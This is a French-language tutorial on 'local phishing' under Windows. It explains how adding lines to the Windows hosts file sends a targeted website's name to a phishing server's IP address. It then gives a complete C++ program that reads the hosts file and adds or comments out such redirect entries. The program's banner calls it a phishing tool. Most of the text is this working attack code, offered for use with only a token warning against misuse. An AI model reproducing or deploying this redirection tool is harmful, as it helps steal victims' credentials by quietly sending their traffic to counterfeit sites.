Phishing en local sous windows

Pour accomplir cela, il nous suffira de modifier le fichier hosts de windows, qui gèrent le "mapping" des ips en fonction des hosts choisit, l'on pourrait dire, des redirections d'ips "transparentes" dans notre cas

Je cite :

# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.

Fichier qui se trouve dans le dossier /Windows/system32/drivers/etc/

Observons le, et comprenons comment Windows se charge "de faire pointer", d'associer l'host localhost sur l'ip 127.0.0.1

On peut y voir gravé :

127.0.0.1 localhost

Héhé, simple n'est ce pas ? D'ou pour ceux de mauvaises foie :

[Ip serveur phishing] [Url serveur visé]

Aie, aie, aie, ça pique, en bonus, je vous offre un petit code en C++ (En mode procédural) pour pouvoir trifouiller tranquillement son fichier hosts sous xp (Ne fonctionne pas sous vista qui recuire des droits admins)

Code C++ :

#include "stdafx.h"
#include <iostream>
#include <cstdlib>
#include <string>
#include <fstream>
#include <iostream>
using namespace std;
int _tmain(int argc, _TCHAR* argv[])
{
cout << "--- [Windows XP phishing pour http://www.genoxyde-security.com by Nementon] --- " << endl;
cout << "Entrez l'adresse ip du server de phishing, puis l'url du site vise. "<< endl;
cout << "Un reboot sera necessaire." << endl;
cout << "Attention, ne l'utilisez pas a mauvais escient ! " << endl;
string OS = getenv("OS"); // On verifie que l'on est sous windows
if (OS == "Windows_NT") {
string SystemDrive = getenv("SYSTEMDRIVE");
SystemDrive += "/Windows/System32/drivers/etc/hosts";
ifstream fichier(SystemDrive.c_str(), ios::in); // on ouvre le fichier en lecture
if(fichier) // si l'ouverture a réussi
{
// instructions
cout << "Redirections serveurs trouvees : " << endl;
string ligne;
while(getline(fichier, ligne))
{
if (ligne.find("#") != 0) {
cout << ligne << endl;
}
}
fichier.close(); // on ferme le fichier
}
else
{
cerr << "Impossible d'ouvrir le fichier !" << endl;
system("pause");
return 0;
}
}
else {
cout << "Operation impossible, vous ne disposez pas d'un windows_NT" << endl;
}
int choix = 0;
while (1 == 1) {
cout << " Options: - Ajouter une adresse serveur : 1 - Supprimer l'adresse d'un serveur : 2 - Quitter : 3 " << endl;
cin >> choix;
switch(choix) {
case 1: {
int Again = 1;
do {
cout << " Entrez l'adresse ip du serveur de phishing : " << endl;
string ip;
cin >> ip;
cout << "Entrez l'url du site vise : " << endl;
string url;
cin >> url;
// traitement
string SystemDrive = getenv("SYSTEMDRIVE");
SystemDrive += "/Windows/System32/drivers/etc/hosts";
ofstream fichier(SystemDrive.c_str(), ios::out | ios::app ); // on ouvre le fichier en ecriture/ajout
if(fichier) // si l'ouverture a réussi
{
// instructions
fichier <<" " << ip << " " << url << endl;
fichier.close(); // on ferme le fichier
}
else
{
cerr << "Impossible d'ouvrir le fichier ! Navre, si vous etes sous vista, les droits admin sont necessaire ... " << endl;
system("pause");
return 0;
}
//Again ?
cout << "Voulez vous ajouter d'autre adresses ? 1-0ui 2-Non" << endl;
cin >> Again;
if (cin.fail()==true)
{
// erreur
Again = 2;
}
}while (Again == 1);
}
break;
case 2: {
int Again = 1;
do {
cout << "Entrez l'adresse du serveur a suprimer" << endl;
string ip;
cin >> ip;
cout << "Working ... " << endl;
int i = 0;
string NewFichier;
string SystemDrive = getenv("SYSTEMDRIVE");
SystemDrive += "/Windows/System32/drivers/etc/hosts";
fstream fichier(SystemDrive.c_str(), ios::in | ios::out ); // on ouvre le fichier en ecriture/ajout
if(fichier) // si l'ouverture a réussi
{
// instructions
string ligne;
while(getline(fichier, ligne))
{
if (ligne.find(ip) == 0) {
NewFichier += "# "+ligne +" ";
i++;
}
else {
NewFichier += ligne+" ";
}
}
fichier.close(); // on ferme le fichier
ofstream fichier(SystemDrive.c_str(), ios::out | ios::trunc);
if(fichier)
{
fichier << NewFichier;
fichier.close();
}
cout << i << " adresses ip trouvees et enlevees " << endl;
}
else
{
cerr << "Impossible d'ouvrir le fichier ! Navre, si vous etes sous vista, les droits admin sont necessaire ... " << endl;
system("pause");
return 0;
}
//Again ?
cout << "Voulez vous suprrimez d'autre adresses ? 1-0ui 2-Non" << endl;
cin >> Again;
if (cin.fail()==true)
{
// erreur
Again = 2;
}
}while (Again == 1);
}
break;
case 3:
return 0;
break;
}
}
return 0;
}

Ou à télécharger : Ici

Code C++ :

Commentaires